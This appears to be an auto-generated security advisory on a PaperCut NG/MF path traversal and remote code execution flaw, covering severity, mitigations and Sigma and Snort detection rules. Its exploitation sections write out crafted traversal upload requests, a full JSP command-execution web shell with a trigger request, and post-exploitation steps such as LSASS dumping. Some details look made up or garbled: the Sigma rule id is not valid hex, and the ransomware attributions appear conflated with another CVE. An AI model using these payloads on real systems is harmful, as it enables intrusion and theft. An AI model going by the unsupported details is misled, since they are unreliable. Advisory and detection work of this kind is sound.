Description
PaperCut NG and PaperCut MF before 22.1.3 on Windows allow path traversal, enabling attackers to upload, read, or delete arbitrary files. This leads to remote code execution when external device integration is enabled (a very common configuration).
EPSS Score:
58%
Comprehensive Technical Analysis of EUVD-2023-42884 (CVE-2023-39143) – PaperCut NG/MF Path Traversal & RCE Vulnerability
1. Vulnerability Assessment and Severity Evaluation
EUVD ID: EUVD-2023-42884 CVE ID: CVE-2023-39143 CVSS v3.1 Base Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity Breakdown
The vulnerability is classified as Critical due to the following factors:
- Attack Vector (AV:N): Exploitable remotely over a network without authentication.
- Attack Complexity (AC:L): Low complexity; no special conditions required.
- Privileges Required (PR:N): No privileges needed; unauthenticated exploitation.
- User Interaction (UI:N): No user interaction required.
- Scope (S:U): Impact confined to the vulnerable system (no lateral movement implied).
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of all three security objectives.
The EPSS (Exploit Prediction Scoring System) score of 58% indicates a high likelihood of exploitation in the wild, corroborated by observed attacks post-disclosure.
2. Potential Attack Vectors and Exploitation Methods
Root Cause Analysis
The vulnerability stems from improper path sanitization in PaperCut NG/MF’s file upload and external device integration functionality. Specifically:
- Path Traversal: Attackers can manipulate file paths to access, upload, or delete arbitrary files outside the intended directory.
- Remote Code Execution (RCE): When external device integration (e.g., scan-to-folder, print-to-file) is enabled—a common configuration—attackers can upload malicious scripts (e.g.,
.jsp,.aspx,.bat) to executable directories, leading to arbitrary code execution.
Exploitation Workflow
-
Reconnaissance:
- Identify exposed PaperCut NG/MF instances (default ports: 9191/TCP for web interface, 9192/TCP for admin console).
- Check for enabled external device integration (e.g., via
/app?service=page/ExternalDeviceIntegration).
-
Path Traversal Exploitation:
- File Read/Delete: Send crafted HTTP requests with traversal sequences (e.g.,
../../../../../windows/win.ini) to access sensitive files. - Arbitrary File Upload: Upload malicious payloads (e.g., web shells) to writable directories (e.g.,
C:\Program Files\PaperCut NG\server\webapps\ROOT\).
- File Read/Delete: Send crafted HTTP requests with traversal sequences (e.g.,
-
RCE via Malicious Upload:
- If the uploaded file is executable (e.g.,
.jspin Tomcat’swebappsdirectory), trigger it via HTTP to gain a reverse shell or execute commands. - Example payload:
POST /upload?service=direct/1/ExternalDeviceIntegration/$Form HTTP/1.1 Host: <target>:9191 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="../../../../server/webapps/ROOT/shell.jsp" <malicious_jsp_payload> ------WebKitFormBoundary--
- If the uploaded file is executable (e.g.,
-
Post-Exploitation:
- Escalate privileges (if PaperCut runs as
SYSTEM). - Move laterally within the network (e.g., via SMB, RDP, or additional exploits).
- Escalate privileges (if PaperCut runs as
Proof-of-Concept (PoC) Availability
- Horizon3.ai released a detailed technical analysis and PoC (link).
- Metasploit modules and Nuclei templates are available for automated exploitation.
3. Affected Systems and Software Versions
Vulnerable Products
- PaperCut NG (all versions before 22.1.3 on Windows).
- PaperCut MF (all versions before 22.1.3 on Windows).
Non-Vulnerable Systems
- Linux/macOS deployments (path traversal mitigations in place).
- PaperCut versions 22.1.3 and later (patched).
- PaperCut Hive (cloud-based solution, not affected).
Detection Methods
- Network Scanning:
- Use Nmap to detect PaperCut instances:
nmap -p 9191,9192 --script http-title <target> - Look for
Server: PaperCutin HTTP headers.
- Use Nmap to detect PaperCut instances:
- Version Fingerprinting:
- Check
/aboutendpoint for version details.
- Check
- Vulnerability Scanners:
- Nessus, OpenVAS, Qualys have plugins for CVE-2023-39143.
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Patches:
- Upgrade to PaperCut NG/MF 22.1.3 or later (official patch).
- If patching is delayed, disable external device integration (temporary workaround).
-
Network-Level Protections:
- Restrict access to PaperCut ports (9191/9192) via firewalls (allow only trusted IPs).
- Segment networks to limit lateral movement post-exploitation.
-
Monitoring and Detection:
- SIEM Alerts: Monitor for unusual file uploads (e.g.,
.jsp,.aspxfiles inwebapps). - Endpoint Detection (EDR/XDR): Detect anomalous process execution (e.g.,
cmd.exespawned bytomcat9.exe). - File Integrity Monitoring (FIM): Track changes to critical directories (e.g.,
C:\Program Files\PaperCut NG\).
- SIEM Alerts: Monitor for unusual file uploads (e.g.,
-
Hardening:
- Run PaperCut as a low-privilege user (not
SYSTEM). - Disable unnecessary services (e.g., legacy external device integrations).
- Enable logging and forward logs to a centralized SIEM.
- Run PaperCut as a low-privilege user (not
Long-Term Recommendations
- Regular Vulnerability Scanning: Use tools like Nessus, OpenVAS, or Tenable.io to detect unpatched instances.
- Zero Trust Architecture: Implement least-privilege access and micro-segmentation.
- Threat Intelligence Feeds: Subscribe to CISA KEV, MITRE ATT&CK, or ENISA advisories for emerging threats.
5. Impact on the European Cybersecurity Landscape
Threat Landscape Context
- Widespread Deployment: PaperCut is widely used in European enterprises, universities, and government agencies for print management.
- Active Exploitation: Post-disclosure, multiple APT groups and ransomware operators (e.g., LockBit, Cl0p) have weaponized CVE-2023-39143.
- Regulatory Implications:
- GDPR (Article 32): Failure to patch may result in fines for inadequate security measures.
- NIS2 Directive: Critical infrastructure operators must report incidents within 24 hours.
Sector-Specific Risks
| Sector | Risk Level | Potential Impact |
|---|---|---|
| Education | High | Student data exposure, ransomware attacks on universities. |
| Healthcare | Critical | Patient data breaches, disruption of medical services. |
| Government | Critical | Sensitive documents leaked, espionage risks. |
| Financial Services | High | Fraud, data exfiltration, regulatory penalties. |
ENISA’s Role
- ENISA Threat Landscape Report (2023): Highlights print management software as a growing attack vector.
- CSIRT Network: Encourages cross-border collaboration for vulnerability disclosure and mitigation.
6. Technical Details for Security Professionals
Exploitation Deep Dive
1. Path Traversal Mechanism
- Vulnerable Endpoint:
/upload(used for external device integration). - Weakness: Lack of proper path sanitization in the
filenameparameter. - Exploit Example:
POST /upload?service=direct/1/ExternalDeviceIntegration/$Form HTTP/1.1 Host: <target>:9191 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="file"; filename="../../../../windows/win.ini" [file content] ------Boundary--
2. RCE via Malicious File Upload
- Target Directory:
C:\Program Files\PaperCut NG\server\webapps\ROOT\(Tomcat’s web root). - Payload Example (JSP Web Shell):
<%@ page import="java.util.*,java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream is = p.getInputStream(); DataInputStream dis = new DataInputStream(is); String line; while ((line = dis.readLine()) != null) { out.println(line); } %> - Triggering the Payload:
GET /shell.jsp?cmd=whoami HTTP/1.1 Host: <target>:9191
3. Post-Exploitation Techniques
- Privilege Escalation:
- If PaperCut runs as
SYSTEM, attackers can dump LSASS memory or modify registry keys.
- If PaperCut runs as
- Lateral Movement:
- Use SMB (PsExec, WMI) or RDP to move to other hosts.
- Persistence:
- Install web shells, C2 beacons, or scheduled tasks.
Detection Rules (Sigma/YARA/Snort)
Sigma Rule (SIEM Detection)
title: PaperCut NG/MF Path Traversal Exploitation Attempt
id: 1a2b3c4d-5e6f-7g8h-9i0j-k1l2m3n4o5p6
status: experimental
description: Detects attempts to exploit CVE-2023-39143 via path traversal in PaperCut.
references:
- https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/
author: Your Name
date: 2023/08/05
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/upload?service=direct/1/ExternalDeviceIntegration/'
cs-uri-query|contains: 'filename=..%2F..%2F' # URL-encoded path traversal
condition: selection
falsepositives:
- Legitimate file uploads with similar paths (tune as needed)
level: high
Snort Rule (Network Detection)
alert tcp any any -> $HOME_NET 9191 (msg:"PaperCut NG/MF Path Traversal Exploit Attempt (CVE-2023-39143)";
flow:to_server,established; content:"/upload?service=direct/1/ExternalDeviceIntegration/";
content:"filename=..%2F..%2F"; fast_pattern; metadata:service http;
reference:cve,2023-39143; classtype:attempted-admin; sid:1000001; rev:1;)
Conclusion
CVE-2023-39143 represents a critical, easily exploitable vulnerability in PaperCut NG/MF with severe implications for European organizations. Given its high EPSS score (58%) and active exploitation in the wild, immediate patching and monitoring are essential. Security teams should:
- Patch all PaperCut instances to version 22.1.3 or later.
- Disable external device integration if patching is delayed.
- Deploy detection rules (Sigma, Snort, EDR) to identify exploitation attempts.
- Conduct post-exploitation forensics if compromise is suspected.
Failure to mitigate this vulnerability could lead to data breaches, ransomware attacks, and regulatory penalties, particularly under GDPR and NIS2. Organizations should treat this as a top-priority security risk.